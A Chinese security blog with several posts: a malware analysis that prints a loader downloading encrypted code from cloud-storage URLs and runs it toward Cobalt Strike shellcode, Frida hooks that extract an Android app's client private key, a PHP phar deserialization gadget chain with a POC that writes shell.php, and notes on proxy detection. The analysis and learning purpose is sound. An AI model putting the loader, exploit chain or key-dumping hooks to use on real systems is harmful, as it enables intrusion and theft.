return O0000O0O0OOO000O0 .decode ()
OO00O0OO00OO00OO0 =OOOOO000O0OOOOO00 (OO00O0OO00OO00OO0 .decode ())
class A (object ):
def __reduce__ (OOOOOOOOO000000OO ):
return (exec ,(OO00O0OO00OO00OO0 ,))
def O00O0O0OOO00O0OOO (O000OOO0O0OO0O00O ):
try :
O00OOO0OO00O00OOO =ast .parse (O000OOO0O0OO0O00O ,mode ='exec')
exec (compile (O00OOO0OO00O00OOO ,filename ="<string>",mode ="exec"))
except Exception as OO0OOO00000OO00O0 :
exit ()
OO0OOO00O0O00OO0O ="tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="
OOO00O0O00OO00O0O =OOOOO000O0OOOOO00 (OO0OOO00O0O00OO0O )
O00O0O0OOO00O0OOO (OOO00O0O00OO00O0O )

面对这种混淆的代码,实在是看着脑瓜子疼,于是使用 AI 来帮我们做一下还原,看看代码在做什么,有一说一,AI 对于还原混淆代码的能力还挺强的,以下是使用 ChatGPT 还原并加上注释的 python 代码:

import ast
import ctypes
import urllib.request
import base64
import ssl

# 禁用SSL证书验证,允许连接到不安全的服务器
ssl._create_default_https_context = ssl._create_unverified_context

# 从指定的URL下载加密的脚本数据
encrypted_script_data = urllib.request.urlopen('https://n8ovkgib7gm.oss-cn-chengdu.aliyuncs.com/T0Lq033PB').read()

# 定义XOR解密函数
def xor_decrypt(data, key):
decrypted_data = bytearray(len(data))
for i in range(len(data)):
# 将每个字节与密钥的对应字节进行异或运算
decrypted_data[i] = data[i] ^ key[i % len(key)]
return bytes(decrypted_data)

# 从加密的字符串中提取Base64编码的部分
def extract_base64_string(encoded_string):
base64_string = ""
for i in range(3, len(encoded_string), 4):
# 每4个字符取一个字符,拼接成Base64编码的字符串
base64_string += encoded_string[i]
decoded_bytes = base64.b64decode(base64_string)
return decoded_bytes.decode()

# 解码从远程服务器获取的脚本数据
decoded_script = extract_base64_string(encrypted_script_data.decode())

# 定义用于不安全反序列化的类A
class A(object):
def __reduce__(self):
# 将解密后的脚本传递给exec函数执行
return (exec, (decoded_script,))

# 解析并尝试执行传入的Python代码字符串
def execute_script(script):
try:
# 将字符串解析为AST(抽象语法树)
parsed_ast = ast.parse(script, mode='exec')
# 编译AST并执行生成的字节码
exec(compile(parsed_ast, filename="<string>", mode="exec"))
except Exception as e:
# 捕获任何异常并退出
exit()

# 加密的密钥字符串
encrypted_key = "tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="
# 提取并解码加密的密钥字符串
decoded_key = extract_base64_string(encrypted_key)

# 尝试执行解密后的脚本
execute_script(decoded_key)

可以看到脚本的内容主要是从存储桶中下载加密的 python 脚本再使用 base64 和 XOR 解密后再编译运行,同时还定义了一个重写了 __reduce__ 方法的类,后续的 python 代码执行可能会利用反序列化来触发执行,尝试将 decoded_scriptdecoded_payload 进行打印:

最终利用反序列化触发执行 python 的远程分离加载器。

提取原始 shellcode

使用以下代码将远程下载的 shellcode 保存下来:

import ctypes,urllib.request,codecs,base64
encrypted_data = urllib.request.urlopen('https://acbeefaezy6nkh.oss-cn-wulanchabu.aliyuncs.com/OwJXDt3b').read()
encrypted_data = encrypted_data.strip()

def xor_decrypt(data, key):
decrypted_data = bytearray(len(data))
for i in range(len(data)):
decrypted_data[i] = data[i] ^ key[i % len(key)]
return bytes(decrypted_data)


key = b'BVJgJShZbeqfrqHjp'
decoded_data = base64.b64decode(encrypted_data)
sc = xor_decrypt(decoded_data, key)
with open("shellcode.bin","wb") as f:
f.write(sc)

Shellcode 如下:

|425

E8 开头,有点像 sgn 编码后的 shellcode,使用 x64dbg 调试:

|475

可以看到有些指令不合法,很明显是加密了,单步调试发现它正在动态的解密,应该是经过 sgn 编码后 shellcode,特点是通常以 E8 开头,使用 call 指令作为入口,目的是调用一个函数来动态解密。

接着我需要 dump 原始的 shellcode,因此这里我尝试对 LoadlibraryA 进行断点,因为这个时候 shellcode 已经解密完成了,断点后点击运行并观察 shellcode 对应的内存:

|475

这里断住了,可以发现内存的变化,可以看到有个显眼的 MZ ,经典 CS 马,将其 dump 出来:

|450

使用 CobaltStrikeParser 解析 shellcode:

分析完毕!

BurpGuard 的使用案例

· 阅读需 5 分钟
声明

本文版权归原作者所有,转载请注明出处。

前言

越来越多的师傅正在针对渗透中前端加解密生成解决方案,例如 Galaxy:https://github.com/outlaws-bai/Galaxy,而 BurpGuard 是依赖于 mitmproxy 的开发的一个简易代理框架,可以一键启动上下游代理,并编写 Python 代码对请求和响应进行自定义修改。

阅读本文前建议读者先掌握一些 Python 的基础语法,并前往项目地址,阅读项目的使用帮助。

项目地址:https://github.com/yinsel/BurpGuard

靶场项目:https://github.com/0ctDay/encrypt-decrypt-vuls/

在线练习地址:http://39.98.108.20:8085/(非本人搭建,由先知师傅搭建,轻点测)

在线靶场来源:https://xz.aliyun.com/t/15252

JS 逆向

JS 逆向的话不是特别难,可以参考先知师傅的,讲的很详细。

https://xz.aliyun.com/t/15252

下面介绍下逆向的结果。

加密

加密采用 AES CBC 模式,PKCS 7 填充模式以及 Base 64 。

签名

根据当前日期生成时间戳 timestamp,以及 32 位的 id(通过 uuid 生成),最终通过以下公式生成 sign 值:

# data是原始请求数据
sign = data + id + timestamp

编写脚本并调试

以下 Demo 可直接贴在 ClientProxyHandler.py 或者是 BurpProxyHandler.py 的最下方直接运行。

解密请求数据 Demo

# 加密的数据
data = "viaGravie+m/oW4EuPkeHhloK+IDv3tzkvO3+gMNIDX2bNwDOSVxYZ84Z/c6JGWDamAmfPaulWDT8cASPYbRrg=="

data = b64decode(data.encode())
print(AES.decrypt(data,AES.CBC,b"1234567891234567",b"1234567891234567"))

结果:

b'{"password":"123456","username":"admin","validCode":"e65a"}'

生成签名 Demo

data = '{"password":"123456","username":"admin","validCode":"e65a"}'

def md5(data: str):
return hashlib.md5(data.encode()).hexdigest()

def get_sign(data: str, id: str, timestamp: str):
sign = md5(data + id + timestamp)
return sign

timestamp = str(int(time.time() * 1000))
id = uuid.uuid4().hex
sign = get_sign(data,id,timestamp)

print("timestamp:",timestamp)
print("RequestId:",id)
print("sign:",sign)

原始:

结果:

timestamp: 1723698310909
RequestId: af5abbb088674543acab0d4b44568680
sign: 91b68d873cee0a714ba584cb96caf491

复制新的签名到 Burp 中:

加密请求数据

# 原始数据
data = '{"password":"123456","username":"admin","validCode":"e65a"}'

data = AES.encrypt(data.encode(),AES.CBC,b"1234567891234567",b"1234567891234567")
print(b64encode(data).decode())

结果:

viaGravie+m/oW4EuPkeHhloK+IDv3tzkvO3+gMNIDX2bNwDOSVxYZ84Z/c6JGWDamAmfPaulWDT8cASPYbRrg==

解密响应:

# 加密的数据
data = "0uMDI+g2bagWZ6+wlwBGQYjPFu1pJ8oA39/HzrpZT7m90oXkbw2BYHkVaDSemjsXmDg3TomBk3caiSxIlLkgKkJch+VD0Utg/L0NdMbH+of1ffTgHmYmHIM/1ysStaI8cGDrZsxBsM+Ha5ATgGq/lrLEXF7LOOGxJDIPYO+HZBLHfK3uyi+oetEP8FUUrMLpU/iAeWwx2c9BaN/01mwLb7PV0HzY3/2ulZoe+jxZz3TBD1RBci5dP6Cqr+vNQ7D8eToVuC1H/0YZiRcxIWKtBgmOhHNrndDTRyb4jMwPHXFwRqJajAVWUuceQqHjOnqhyZOnUQ1krX7Bpz/h7maJ4p1lGVn0crljtoG0ZMfaKEvKSN/ErQLjDvEoBwGD9ScU"

data = b64decode(data.encode())
print(AES.decrypt(data,AES.CBC,b"1234567891234567",b"1234567891234567").decode())

结果:

{"code":"0","msg":"成功","data":{"id":15,"username":"admin","nickName":"test","sex":"
男","address":"test223","phone":"11111111111","token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiIxNSIsImV4cCI6MTcyMzc4NTExNH0.pJyORDB6akJHwLOqmEznXOSR_wOHNZx-xO4ag0qUYMs","role":2}}

最终成品

ClientProxyHandler.py

from mitmproxy import http
from Utils.Crypto import *
import httpx
from base64 import b64encode,b64decode
from urllib.parse import quote,unquote
import json
import traceback
import time
import hashlib
import uuid



class ClientProxyHandler:
def __init__(self) -> None:
self.client = httpx.Client(timeout=None,verify=False)

# 处理来自客户端的请求,通常在这里对请求进行解密
def request(self,flow: http.HTTPFlow):
try:
req = flow.request
# 解密请求数据
if req.method == "POST" and f"{req.host}:{req.port}" == "39.98.108.20:8085":
data = req.text
data = b64decode(data.encode())
data = AES.decrypt(data,AES.CBC,b"1234567891234567",b"1234567891234567")
req.content = data
except Exception as e:
traceback.print_exception(e)
return flow

# 处理返回给客户端的响应,通常在这里对响应进行加密
def response(self,flow: http.HTTPFlow):
try:
rsp = flow.response
req = flow.request
# 加密响应数据
if f"{req.host}:{req.port}" == "39.98.108.20:8085" and rsp.content:
data = rsp.content
data = AES.encrypt(data,AES.CBC,b"1234567891234567",b"1234567891234567")
data = b64encode(data)
rsp.content = data
except Exception as e:
traceback.print_exception(e)
return flow

addons = [ClientProxyHandler()]

BurpProxyHandler.py

from mitmproxy import http
from Utils.Crypto import *
import httpx
from base64 import b64encode,b64decode
from urllib.parse import quote,unquote
import json
import traceback
import time
import hashlib
import uuid

def md5(data: str):
return hashlib.md5(data.encode()).hexdigest()
def get_sign(data: str, id: str, timestamp: str):
sign = md5(data + id + timestamp)
return sign

class BurpProxyHandler:
def __init__(self) -> None:
self.client = httpx.Client(timeout=None,verify=False)

# 处理来自Burp的请求,通常在这里对请求进行加密
def request(self,flow: http.HTTPFlow):
try:
req = flow.request
if req.method == "POST" and f"{req.host}:{req.port}" == "39.98.108.20:8085":
data = req.text
# 生成签名
timestamp = str(int(time.time() * 1000))
id = uuid.uuid4().hex
sign = get_sign(data,id,timestamp)
req.headers["sign"] = sign
req.headers["requestId"] = id
req.headers["timestamp"] = timestamp
# 加密请求数据
data = AES.encrypt(data.encode(),AES.CBC,b"1234567891234567",b"1234567891234567")
data = b64encode(data).decode()
req.text = data
except Exception as e:
traceback.print_exception(e)
finally:
return flow

# 处理返回给客户端的响应,通常在这里对响应进行解密
def response(self,flow: http.HTTPFlow):
try:
req = flow.request
rsp = flow.response
# 解密响应数据
if f"{req.host}:{req.port}" == "39.98.108.20:8085" and rsp.content:
data = rsp.text
data = b64decode(data.encode())
data = AES.decrypt(data,AES.CBC,b"1234567891234567",b"1234567891234567")
rsp.content = data
except Exception as e:
traceback.print_exception(e)
finally:
return flow

addons = [BurpProxyHandler()]

效果:

记录一次绕过 Android 服务端的证书校验的详细过程

· 阅读需 13 分钟
声明

本文版权归原作者所有,转载请注明出处。

前言

本来想挑一个 APP 抓包练练手,因为基础不是很好,想提升实战水平,结果一不小心挑了个不寻常的(对于我而言,大佬勿喷),但因为自己比较固执,不死心,花了几天时间总算搞定了,但还是有些问题,希望有懂行大佬指点一下。

该 APP 使用了 org.conscrypt 库,据了解,这一个封装基于 OpenSSL 的库,在 Github 上也有 1.3k Star 但是网上并没有相关的文章,很少,最终还是通过翻阅源码找到一个关键的 So 层函数作为 Hook 点将私钥导出。

本文章 Hook 脚本均参考了网上的文章以及借助 ChatGPT 所编写,并且经过许多次调试,因为自己不是特别熟悉 frida JS API,还需要多练,多实战,因此写了这篇文章记录自己的过程,以分享自己的思路,给有需要的人一些参考,避免踩坑。

详细过程

设置代理

目前手机已 root,已安装 Burp 证书至系统,当然用 JustTrustMe 也可以干掉客户端的证书校验,比较简单也没检测 VPN,随后开启热点,使用安卓端 proxifier 开启 VPN 让指定 APP 走 Burp

设置 Burp 代理:

|300

指定 APP

|275

发现服务端的证书校验

进入 APP,发现一切正常:

在输入框中随便输入,点击加入,服务端返回 400,并且是 No required SLL certifucate was sent

解包寻找 APK 中的证书

使用 Jadx-guiAPK 进行反编译,发现资源部分有几个关键证书:

|350

|336

但这些 grp_sp.bkshmsincas.bkshmsrootcas.bks 都是 SDK 相关的证书,而 trust.crt 有点可疑,使用 XCAtrust.crt 进行查看:

|475

trust.crt 包含多个公钥证书,还有一些 CA 证书,应该是证书信任链,不是客户端证书,因此解包寻找证书无果。

尝试大佬的 frida 自吐脚本和 r0capture

自吐脚本

于是我参考了这位大佬的文章:https://xz.aliyun.com/t/12993,使用其中的 frida 自吐脚本尝试 Hook 看有没有发现,脚本链接:https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-keystore.js

这里我用的是 JsHook,使用 frida 还是非常方便的:

|325

开启 frida-server 服务及端口转发,复制自吐脚本,并以 spawn 模式启动 App:

# 端口转发
adb forward tcp:28042 tcp:28042

# 以spawn启动
frida -H 127.0.0.1:28042 -f <包名> -l hook.js

发现啥也没有:

尝试手动抛出异常打印堆栈:

console.log(Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Throwable").$new()));

也没发现,不过有一行看起来跟证书相关的类,这里先记一下:

ak.im.module.AkeyChatX509PrivateCA.clientBootstrapCertInfo(AkeyChatX509PrivateCA.java:8)

r0capture 通杀脚本

一句话启动:

python r0capture.py -H 127.0.0.1:28042 -f <包名> -v

还是无果,内容还是加密的,证书也未导出,看调用堆栈可知,使用了 org.conscrypt 库,搜了一下发现是 Google 开发的一个基于 OpenSSL 封装的 SSL/TLS 加密库,有点用,先记着。

反编译 Hook 证书

用了大佬们的脚本都无果,其实到这有点想放弃了,不过还没仔细看代码,根据上文的堆栈信息查找与证书有关的类名:

|550

发现有个函数返回了证书,尝试 hook 它试试,jadx-gui 很方便,可以右键直接复制 Hook 代码:

function hook() {
Java.perform(function () {
let AkeyChatX509PrivateCA = Java.use("ak.im.module.AkeyChatX509PrivateCA");
AkeyChatX509PrivateCA["clientBootstrapCertInfo"].implementation = function () {
console.log(`AkeyChatX509PrivateCA.clientBootstrapCertInfo is called`);
let result = this["clientBootstrapCertInfo"]();
console.log(`AkeyChatX509PrivateCA.clientBootstrapCertInfo result=${result}`);
return result;
};
});
}

结果打印了一个证书,从 X509 Extend Usage 中的 Web Client Authentication 看以及关键字眼 android,可以判断这个就是客户端证书: · |500

将其 dump 出来:

function hook() {
Java.perform(function () {
let AkeyChatX509PrivateCA = Java.use("ak.im.module.AkeyChatX509PrivateCA");

AkeyChatX509PrivateCA["clientBootstrapCertInfo"].implementation = function () {
console.log("AkeyChatX509PrivateCA.clientBootstrapCertInfo is called");
// 调用原始方法,获取返回的 X509Certificate 对象
let result = this.clientBootstrapCertInfo();
console.log("AkeyChatX509PrivateCA.clientBootstrapCertInfo result:", result)
// 获取 DER 编码的字节数组
let cert = result.getEncoded();
let bytes = Memory.readByteArray(cert,cert.length)
const file = new File("/sdcard/Download/clent.crt", "wb");
file.write(bytes);
// 返回原始结果
return result;
};
});
}

hook();

|625

有个问题,这证书从哪来的? 只能先抛开不谈,现在证书有了,私钥呢?常规 APP 一般不都打包成 bksp12jks 这类的文件然后设置个密码,但这 APP 不走寻找路,于是我尝试了各种 Hook,如下图,涉及私钥和证书的 Java 层方法都尝试过:

以及 javax.net.ssl.* org.conscrypt 库的一些 Java 层的关键方法,要么 Hook 不到(这里可能是 Hook 时机不对或者没调用,很多都没 Hook 到),要么为 null,心态崩了,但我还是不想放弃,于是去找 native 层。

寻找 So 层 Hook 点

下载 org.conscrypt 的源码:https://github.com/google/conscrypt,使用 VScode 打开寻找关键词,尝试 Hook,最终找到了一处:

其中 keyJavaBytes 根据语义以及函数名可以判断这个跟私钥有关,但是我发现这个函数在 Java 层有被调用,尝试 Hook 他们却没反应

794

先暂时不管,直接尝试 Hook 这个函数,打印 jbyteArray 的内存数据,找到 APP 加载的 So 文件名为:libconscrypt_jni.sofrida 脚本如下:

function hookFunc(funcAddr, name) {
Interceptor.attach(funcAddr, {
onEnter: function (args) {
const key = args[1]
const dump = hexdump(key, {
offset: 0,
length: 0x1000,
headers: true,
ansi: true
})
console.log(hex);

},
onLeave: function (retval) {

},
});
}

function hook() {
Interceptor.attach(Module.findExportByName(null, "android_dlopen_ext"), {
onEnter: function (args) {
var pathptr = args[0];
if (pathptr !== undefined && pathptr != null) {
var path = ptr(pathptr).readCString();
if (path.indexOf("libconscrypt_jni.so") !== -1) {
console.log("dlopen: " + path);
this.path = path;
}
}
},

onLeave: function (retval) {
if (this.path !== undefined) {
// 获取模块的 base 地址
var baseAddress = Module.findBaseAddress(this.path);
if (baseAddress !== null) {
console.log("Module base address: " + baseAddress);

// 遍历导出表
console.log("Listing exports in " + this.path);
Module.enumerateExports(this.path, {
onMatch: function (symbol) {
if (symbol.name.indexOf("EVP_parse_private_key") !== -1) {
console.log(symbol.name + "---" + symbol.address.toString());
hookFunc(symbol.address, symbol.name)
}
},
onComplete: function () {

}
});
}
}
}
});
}

hook();

这里我尝试用很多中办法都没法得到 jbyteArray 的长度,调用 JNIGetArrayLength 方法会导致闪退,具体原因未知,只能预先 dump 大小为 0x1000,有需要也可以更大,将其 dump 至 /sdcard/Download 下,替换上方的 hook 函数:

function hook(funcAddr, name) {
Interceptor.attach(funcAddr, {
onEnter: function (args) {
console.log(name + " enter");
const bytes = Memory.readByteArray(args[1], 0x1000);
const file = new File("/sdcard/Download/private.pem", "wb");
file.write(bytes);
},
onLeave: function (retval) {

},
});
}

私钥如下:

导入 XCA,查看之前的证书,可以发现私钥对应上了:

|550

使用 XCA 直接导出为 p12

导入至 burp

发包,成功:

不知道这种方法能不能对使用了 org.conscrypt 库的 App 通杀,后续研究一下。

参考链接

https://xz.aliyun.com/t/12993

https://bbs.kanxue.com/thread-280089.htm

https://bbs.kanxue.com/thread-281584.htm

PHP代码审计之反序列化学习记录

· 阅读需 8 分钟
声明

本文版权归原作者所有,转载请注明出处。

前言

平常一般不进行代码审计,这次有幸听了朋友的一次 PHP代码审计,跟着学习了一下,看看审计是咋样的,便有了这篇博客,以此记录。

反序列化漏洞

虽然不搞代码审计,但还是对反序列化有过了解,据我所知反序列化的漏洞触发点只有 unserialize 函数,但我朋友告诉我除了这个还可以使用文件操作触发 phar 反序列化,这玩意我只听过,但没去了解,于是便上网查阅资源:

|470

Java 中的 War 包类似?那为啥能触发反序列化?继续查阅资料:

懂了,phar 被加载时如果存在序列化对象则会自动反序列化,但这个加载指的是文件还是?继续查阅资料:

懂了,接下来看整个过程。

is_dir () 触发 phar 反序列化

is_dir 用于判断传入的文件是否为目录,而文件操作支持 phar 伪协议,因此可以触发反序列化,在后台的地方,下方代码 test_avatar_domain 有一处 avatar_path 参数可控,通过 POST 传入:

这里还有个知识不了解,那就是 PHP 的传参方式,可以用数组的方式传递:

# POST 表单
image[avatar_path]=xxx

寻找合适的反序列化链

触发反序列化后,接下来就是得找链子,各种 魔术方法 都得去看看,最终我朋友找到了下方链子(找的过程比较艰难):

  • RedisHandler 类的 __destructthis->close()

熟知的魔术方法 __destructthis->redis 可控:

接下来找什么类有 close 方法可以进一步利用,并且其中参数也可控,最终找到了:

  • MemcachedHandler 类的 close方法, this->memcachedthis->lockkey 可控

关注 this->lockkey 参数,继续寻找 delete 方法:

  • CURLRequestdelete 方法,$url 可控

  • CURLRequest 本类的 request 方法,$url 可控

前面几个方法都是调用本类的方法,没啥用且不会影响后续代码的执行,关注 this->send 方法,进入查看:

|500

该方法似乎在使用 curl 发起请求,$url 被存到 $curlOptions 中,是 curl 请求的目标,最终跟进 this->setCURLOptions,看到了有意思的一段代码:

其中 CURLOPT_VERBOSE=1 ,也就是 True,查阅资料,意义如下:

他将似乎会触发 curl 日志写入,尝试 curl 并使用 -verbose 参数看看日志是什么:

我勒个去,响应头、甚至响应内容是日志?那岂不是文件写入?但还得看看上方的 config['debug'] 看能不能可控,往上阅读发现,这不是本类的 config 属性?

生成 Phar

一个文件写入就打成了!由于后台支持附件上传,因此可以直接在后台上传,上,Phar 反序列化文件生成:

<?php

namespace {
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);


}


namespace CodeIgniter\Cache\Handlers {


use CodeIgniter\Session\Handlers\MemcachedHandler;

class RedisHandler {
protected $redis;

public function __construct() {
// 实例化不同命名空间中的 RedisHandler 类
$this->redis = new MemcachedHandler();
}
}
}

namespace CodeIgniter\Session\Handlers{
use CodeIgniter\HTTP\CURLRequest;


class MemcachedHandler {
public $memcached;
public $lockKey;
public function __construct()
{
$this->lockKey='http://127.0.0.1/123.php';
$this->memcached = new CURLRequest();
}
}
}

namespace CodeIgniter\HTTP{
class CURLRequest
{
protected $config = [];
public function __construct()
{
$this->config = [
// 'timeout' => 1.0,
// 'connect_timeout' => 150,
'debug' => "shell.php",
'verify' => true,
];
}
}
}

// 全局命名空间
namespace {
use CodeIgniter\Cache\Handlers\RedisHandler;
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new RedisHandler();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
//$o = new RedisHandler();
//print_r(urlencode(serialize($o)));
}

POC

POST /adminbdae3ba8b340.php?c=api&m=test_avatar_domain HTTP/1.1
Host: xxxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6301.219 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: csrf_cookie_name=cc62a48008d5281ff3c2521fa5cd431d; bbe03f95f25cbc8a527d06927ad34d44_member_uid=1; bbe03f95f25cbc8a527d06927ad34d44_member_cookie=a8e1f672b7ef88f70d5f2c273f3b6f7b; xunruicms_bbe03f95f25cbc8a527d06927ad34d44=jatb9e3idmcusc4knl3424lcifogbcf7
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
sec-ch-ua-mobile: ?0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

image[avatar_path]=phar://./uploadfile/202408/a4bfc9028a4fe10.zip

phpstudy windows 生成在 php.exe 的根目录下面,Linux 下的宝塔环境会生成在网站根目录:

shell.php

经测试并没有将响应内容写入日志,因此只能通过在响应头中添加 php 代码。

Android 代理及 VPN 检测初探

· 阅读需 4 分钟
声明

本文版权归原作者所有,转载请注明出处。

前言

大多数 APP 为了防止自身被抓包,通常会采用检测代理或者 VPN 的方式,检测 VPN 实际上也还是检测代理,VPN 最终实现的还是代理的一个效果。

在 APP 渗透中,往往需要绕过 APP 检测代理,知己知彼才能百战百胜,因此必须了解它的检测原理,才能更好地与之对抗。了解检测原理后,后续只需要使用一些 Android 的一些 Hook 框架(Xposed、Frida )或者使用成熟的模块来绕过它的检测,当然,部分 APP 也会加固从而防止反编译甚至是 Hook 检测,这里就不多说了。

由于我不是专业的 Android 开发工程师,因此只能参考网上资料以及询问 ChatGPT 来辅助学习,大部分代码都是由 ChatGPT 生成的,我只是修改了部分检测逻辑,以下代码仅支持 Android 8.0 及以上。

检测方式

检测系统属性

通过获取系统的属性来判断,由于 Android 系统是 Java 开发的,而 Java 提供了一系列的系统属性,在属性中就有针对代理的:

System.getProperty("http.proxyPort");  
System.getProperty("http.proxyHost");

在判断时只需检测这两个属性即可,如果需要绕过,Hook System.getProperty 这个方法就行。

检测 VPN 网络接口特征

在 Android 中如果开启了 VPN,则在网络接口中多出一个类似名为 tun0 的网卡,因此只需通过 Java 提供的 NetworkInterface 类来枚举网络接口的名称即可,如下:

// 检测VPN接口  
try {
Enumeration<NetworkInterface> interfaces = NetworkInterface.getNetworkInterfaces();
if (interfaces != null) {
for (NetworkInterface networkInterface : Collections.list(interfaces)) {
String interfaceName = networkInterface.getName().toLowerCase();
if (interfaceName.contains("tun") || interfaceName.contains("tap") || interfaceName.contains("vpn")) {
return true;
}
}
}
} catch (Exception e) {
e.printStackTrace();
}

如果需要绕过,则 Hook networkInterfacegetName 方法即可,经过测试,算法助手隐藏VPN 选项就只针对这种方式进行了 Hook,其余的方式都没触及。 `

通过 Android API 检测

Android 系统本身也提供了一些 API 来帮助开发者判断设备的网络情况,检测方式如下:

 // 通过系统API判断是否使用VPN  
ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
if (cm != null) {
Network activeNetwork = cm.getActiveNetwork();
NetworkCapabilities capabilities = cm.getNetworkCapabilities(activeNetwork);
if (capabilities != null && capabilities.hasTransport(NetworkCapabilities.TRANSPORT_VPN)) {
return true;
}
}

如果需要绕过,Hook capabilities.hasTransport 这个方法,将其值改为 False,当然这里要注意参数判断为 NetworkCapabilities.TRANSPORT_VPN

总结

以上的检测方式可能不全,但也差不多了应该。

代码已经做成了一个 APP Demo 并开源:https://github.com/yinsel/AndroidCheckProxy

可以尝试下载来绕过看看,当然不要直接绕过我的检测类,那就莫得意思了,也欢迎补充和 Start!